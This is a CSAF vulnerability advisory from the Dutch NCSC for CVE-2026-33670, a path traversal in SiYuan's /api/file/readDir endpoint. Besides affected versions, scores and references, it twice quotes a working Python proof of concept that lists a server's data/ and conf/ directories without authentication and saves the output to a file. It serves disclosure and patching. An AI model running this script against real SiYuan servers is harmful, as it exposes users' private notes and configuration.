{
"document": {
"category": "csaf_base",
"csaf_version": "2.0",
"distribution": {
"tlp": {
"label": "WHITE"
}
},
"lang": "en",
"notes": [
{
"category": "legal_disclaimer",
"text": "The Netherlands Cyber Security Center (henceforth: NCSC-NL) maintains this portal to enhance access to its information and vulnerabilities. The use of this information is subject to the following terms and conditions:\n\nThe vulnerabilities disclosed in this portal are gathered by NCSC-NL from a variety of open sources, which the user can retrieve from other platforms. NCSC-NL makes every reasonable effort to ensure that the content of this portal is kept up to date, and that it is accurate and complete. Nevertheless, NCSC-NL cannot entirely rule out the possibility of errors, and therefore cannot give any warranty in respect of its completeness, accuracy or real-time keeping up-to-date. NCSC-NL does not control nor guarantee the accuracy, relevance, timeliness or completeness of information obtained from these external sources. The vulnerabilities disclosed in this portal are intended solely for the convenience of professional parties to take appropriate measures to manage the risks posed to the cybersecurity. No rights can be derived from the information provided therein.\n\nNCSC-NL and the Kingdom of the Netherlands assume no legal liability or responsibility for any damage resulting from either the use or inability of use of the vulnerabilities disclosed in this portal. This includes damage resulting from the inaccuracy of incompleteness of the information contained in it.\nThe information on this page is subject to Dutch law. All disputes related to or arising from the use of this portal regarding the disclosure of vulnerabilities will be submitted to the competent court in The Hague. This choice of means also applies to the court in summary proceedings."
}
],
"publisher": {
"category": "coordinator",
"contact_details": "cert@ncsc.nl",
"name": "National Cyber Security Centre",
"namespace": "https://www.ncsc.nl/"
},
"title": "CVE-2026-33670",
"tracking": {
"current_release_date": "2026-03-30T17:30:42.017616Z",
"generator": {
"date": "2026-02-17T15:00:00Z",
"engine": {
"name": "V.E.L.M.A",
"version": "1.7"
}
},
"id": "CVE-2026-33670",
"initial_release_date": "2026-03-25T20:11:27.735482Z",
"revision_history": [
{
"date": "2026-03-25T20:11:27.735482Z",
"number": "1",
"summary": "CVE created.| Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (2).| CWES updated (1)."
},
{
"date": "2026-03-25T20:11:38.334388Z",
"number": "2",
"summary": "NCSC Score created."
},
{
"date": "2026-03-26T00:13:07.526706Z",
"number": "3",
"summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| Products connected (1).| References created (1).| CWES updated (1)."
},
{
"date": "2026-03-26T00:13:09.793636Z",
"number": "4",
"summary": "NCSC Score updated."
},
{
"date": "2026-03-26T21:39:02.769251Z",
"number": "5",
"summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| Products connected (1).| References created (1).| CWES updated (1)."
},
{
"date": "2026-03-26T21:39:05.838705Z",
"number": "6",
"summary": "NCSC Score updated."
},
{
"date": "2026-03-26T22:25:17.819408Z",
"number": "7",
"summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (1).| CWES updated (1)."
},
{
"date": "2026-03-26T22:25:25.128375Z",
"number": "8",
"summary": "NCSC Score updated."
},
{
"date": "2026-03-27T00:14:13.603386Z",
"number": "9",
"summary": "Source created.| CVE status created. (valid)| Description created for source.| References created (1)."
},
{
"date": "2026-03-27T20:56:32.976423Z",
"number": "10",
"summary": "Source connected.| CVE status created. (valid)| EPSS created."
},
{
"date": "2026-03-27T20:56:49.328962Z",
"number": "11",
"summary": "NCSC Score updated."
},
{
"date": "2026-03-28T07:57:33.724228Z",
"number": "12",
"summary": "References created (1)."
},
{
"date": "2026-03-30T12:41:48.247214Z",
"number": "13",
"summary": "Unknown change."
},
{
"date": "2026-03-30T17:25:23.608356Z",
"number": "14",
"summary": "Products connected (1).| Product Identifiers created (1).| Exploits created (1)."
},
{
"date": "2026-03-30T17:25:30.271431Z",
"number": "15",
"summary": "NCSC Score updated."
}
],
"status": "interim",
"version": "15"
}
},
"product_tree": {
"branches": [
{
"branches": [
{
"branches": [
{
"category": "product_version_range",
"name": "vers:unknown/<3.6.2",
"product": {
"name": "vers:unknown/<3.6.2",
"product_id": "CSAFPID-5899391",
"product_identification_helper": {
"cpe": "cpe:2.3:a:b3log:siyuan:*:*:*:*:*:*:*:*"
}
}
}
],
"category": "product_name",
"name": "siyuan"
}
],
"category": "vendor",
"name": "B3log"
},
{
"branches": [
{
"branches": [
{
"category": "product_version_range",
"name": "vers:unknown/<3.6.2",
"product": {
"name": "vers:unknown/<3.6.2",
"product_id": "CSAFPID-5878158"
}
},
{
"category": "product_version_range",
"name": "vers:unknown/>=0|<=0.0.0-20260317012524-fe4523fff2c8",
"product": {
"name": "vers:unknown/>=0|<=0.0.0-20260317012524-fe4523fff2c8",
"product_id": "CSAFPID-5907209"
}
}
],
"category": "product_name",
"name": "siyuan"
}
],
"category": "vendor",
"name": "siyuan-note"
}
]
},
"vulnerabilities": [
{
"cve": "CVE-2026-33670",
"cwe": {
"id": "CWE-22",
"name": "Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')"
},
"notes": [
{
"category": "description",
"text": "### Details\n\nThe /api/file/readDir interface was used to traverse and retrieve the file names of all documents under a notebook.\n\n### PoC\n\n```python\n#!/usr/bin/env python3\n\"\"\"POC: SiYuan /api/file/readDir 未鉴权目录遍历\"\"\"\nimport requests, json, sys\n\ndef poc(target):\n base = target.rstrip(\"/\")\n url = f\"{base}/api/file/readDir\"\n\n def read_dir(path, depth=0, max_depth=4):\n try:\n r = requests.post(url, json={\"path\":path},\n headers={\"Content-Type\":\"application/json\"}, timeout=10)\n data = r.json()\n except Exception as e:\n return\n if data.get(\"code\") != 0:\n return\n\n entries = data.get(\"data\") or []\n for entry in entries:\n name = entry.get(\"name\",\"\")\n if name.startswith(\".\"):\n continue\n icon = \"📁\" if entry.get(\"isDir\") else \"📄\"\n indent = \" \" * depth\n print(f\" {indent}{icon} {name}\")\n\n if entry.get(\"isDir\") and depth < max_depth:\n read_dir(f\"{path}/{name}\", depth+1, max_depth)\n\n # 遍历根目录\n print(\"[+] 漏洞存在！开始遍历\\n\")\n print(\" 📂 data/\")\n read_dir(\"data\", max_depth=2)\n\n print(\"\\n 📂 conf/\")\n read_dir(\"conf\", max_depth=2)\n\n # 保存\n try:\n r = requests.post(url, json={\"path\":\"data\"},\n headers={\"Content-Type\":\"application/json\"}, timeout=10)\n with open(\"readdir.json\",\"w\",encoding=\"utf-8\") as f:\n json.dump(r.json(), f, ensure_ascii=False, indent=2)\n print(f\"\\n[+] 根目录数据已保存: readdir.json\")\n except: pass\n\nif __name__ == \"__main__\":\n poc(sys.argv[1] if len(sys.argv)>1 else \"http://172.18.40.184\")\n```\n\n### Impact\n\nDirectory traversal vulnerability: The entire directory structure of a notebook could be obtained, and then a file reading vulnerability could be exploited to achieve arbitrary document reading.\n\n资源文件夹\n\n![\"image\"](\"https://github.com/user-attachments/assets/c97fcc42-183e-4c83-8a27-cf99bf805038\")
\n\n插件文件夹\n\n![\"image\"](\"https://github.com/user-attachments/assets/925d4512-e4c0-4b3b-bf96-5639ec572705\")
\n\nconf文件夹\n\n![\"image\"](\"https://github.com/user-attachments/assets/2a0c23b9-2d87-4421-977d-687f47726741\")
",
"title": "github - https://api.github.com/advisories/GHSA-xmw9-6r43-x9ww"
},
{
"category": "description",
"text": "### Details\n\nThe /api/file/readDir interface was used to traverse and retrieve the file names of all documents under a notebook.\n\n### PoC\n\n```python\n#!/usr/bin/env python3\n\"\"\"POC: SiYuan /api/file/readDir 未鉴权目录遍历\"\"\"\nimport requests, json, sys\n\ndef poc(target):\n base = target.rstrip(\"/\")\n url = f\"{base}/api/file/readDir\"\n\n def read_dir(path, depth=0, max_depth=4):\n try:\n r = requests.post(url, json={\"path\":path},\n headers={\"Content-Type\":\"application/json\"}, timeout=10)\n data = r.json()\n except Exception as e:\n return\n if data.get(\"code\") != 0:\n return\n\n entries = data.get(\"data\") or []\n for entry in entries:\n name = entry.get(\"name\",\"\")\n if name.startswith(\".\"):\n continue\n icon = \"📁\" if entry.get(\"isDir\") else \"📄\"\n indent = \" \" * depth\n print(f\" {indent}{icon} {name}\")\n\n if entry.get(\"isDir\") and depth < max_depth:\n read_dir(f\"{path}/{name}\", depth+1, max_depth)\n\n # 遍历根目录\n print(\"[+] 漏洞存在！开始遍历\\n\")\n print(\" 📂 data/\")\n read_dir(\"data\", max_depth=2)\n\n print(\"\\n 📂 conf/\")\n read_dir(\"conf\", max_depth=2)\n\n # 保存\n try:\n r = requests.post(url, json={\"path\":\"data\"},\n headers={\"Content-Type\":\"application/json\"}, timeout=10)\n with open(\"readdir.json\",\"w\",encoding=\"utf-8\") as f:\n json.dump(r.json(), f, ensure_ascii=False, indent=2)\n print(f\"\\n[+] 根目录数据已保存: readdir.json\")\n except: pass\n\nif __name__ == \"__main__\":\n poc(sys.argv[1] if len(sys.argv)>1 else \"http://172.18.40.184\")\n```\n\n### Impact\n\nDirectory traversal vulnerability: The entire directory structure of a notebook could be obtained, and then a file reading vulnerability could be exploited to achieve arbitrary document reading.\n\n资源文件夹\n\n\n\n插件文件夹\n\n\n\nconf文件夹\n\n",
"title": "osv - https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/Go%2FGHSA-xmw9-6r43-x9ww.json?alt=media"
},
{
"category": "description",
"text": "SiYuan has directory traversal within its publishing service in github.com/siyuan-note/siyuan/kernel",
"title": "osv - https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/Go%2FGO-2026-4843.json?alt=media"
},
{
"category": "description",
"text": "SiYuan is a personal knowledge management system. Prior to version 3.6.2, the /api/file/readDir interface was used to traverse and retrieve the file names of all documents under a notebook. Version 3.6.2 patches the issue.",
"title": "cveprojectv5 - https://raw.githubusercontent.com/CVEProject/cvelistV5/main/cves/2026/33xxx/CVE-2026-33670.json"
},
{
"category": "description",
"text": "SiYuan is a personal knowledge management system. Prior to version 3.6.2, the /api/file/readDir interface was used to traverse and retrieve the file names of all documents under a notebook. Version 3.6.2 patches the issue.",
"title": "nvd - https://services.nvd.nist.gov/rest/json/cves/2.0?cveId=CVE-2026-33670"
},
{
"category": "other",
"text": "0.00063",
"title": "EPSS"
},
{
"category": "other",
"text": "3.2",
"title": "NCSC Score"
},
{
"category": "other",
"text": "The value of the most recent EPSS score, Is related to an uncommon product vendor, Is related to (a version of) an uncommon product, There is exploit data available from source Nvd",
"title": "NCSC Score top decreasing factors"
}
],
"product_status": {
"known_affected": [
"CSAFPID-5907209",
"CSAFPID-5878158",
"CSAFPID-5899391"
]
},
"references": [
{
"category": "external",
"summary": "Source - github",
"url": "https://api.github.com/advisories/GHSA-xmw9-6r43-x9ww"
},
{
"category": "external",
"summary": "Source - osv",
"url": "https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/Go%2FGHSA-xmw9-6r43-x9ww.json?alt=media"
},
{
"category": "external",
"summary": "Source - cveprojectv5",
"url": "https://raw.githubusercontent.com/CVEProject/cvelistV5/main/cves/2026/33xxx/CVE-2026-33670.json"
},
{
"category": "external",
"summary": "Source - nvd",
"url": "https://services.nvd.nist.gov/rest/json/cves/2.0?cveId=CVE-2026-33670"
},
{
"category": "external",
"summary": "Source - osv",
"url": "https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/Go%2FGO-2026-4843.json?alt=media"
},
{
"category": "external",
"summary": "Source - first",
"url": "https://api.first.org/data/v1/epss?limit=10000&offset=0"
},
{
"category": "external",
"summary": "Reference - cveprojectv5; github; nvd; osv",
"url": "https://github.com/siyuan-note/siyuan/security/advisories/GHSA-xmw9-6r43-x9ww"
},
{
"category": "external",
"summary": "Reference - github",
"url": "https://github.com/advisories/GHSA-xmw9-6r43-x9ww"
},
{
"category": "external",
"summary": "Reference - github",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33670"
}
],
"scores": [
{
"cvss_v3": {
"version": "3.1",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"baseScore": 9.8,
"baseSeverity": "CRITICAL"
},
"products": [
"CSAFPID-5878158",
"CSAFPID-5899391",
"CSAFPID-5907209"
]
}
],
"title": "CVE-2026-33670"
}
]
}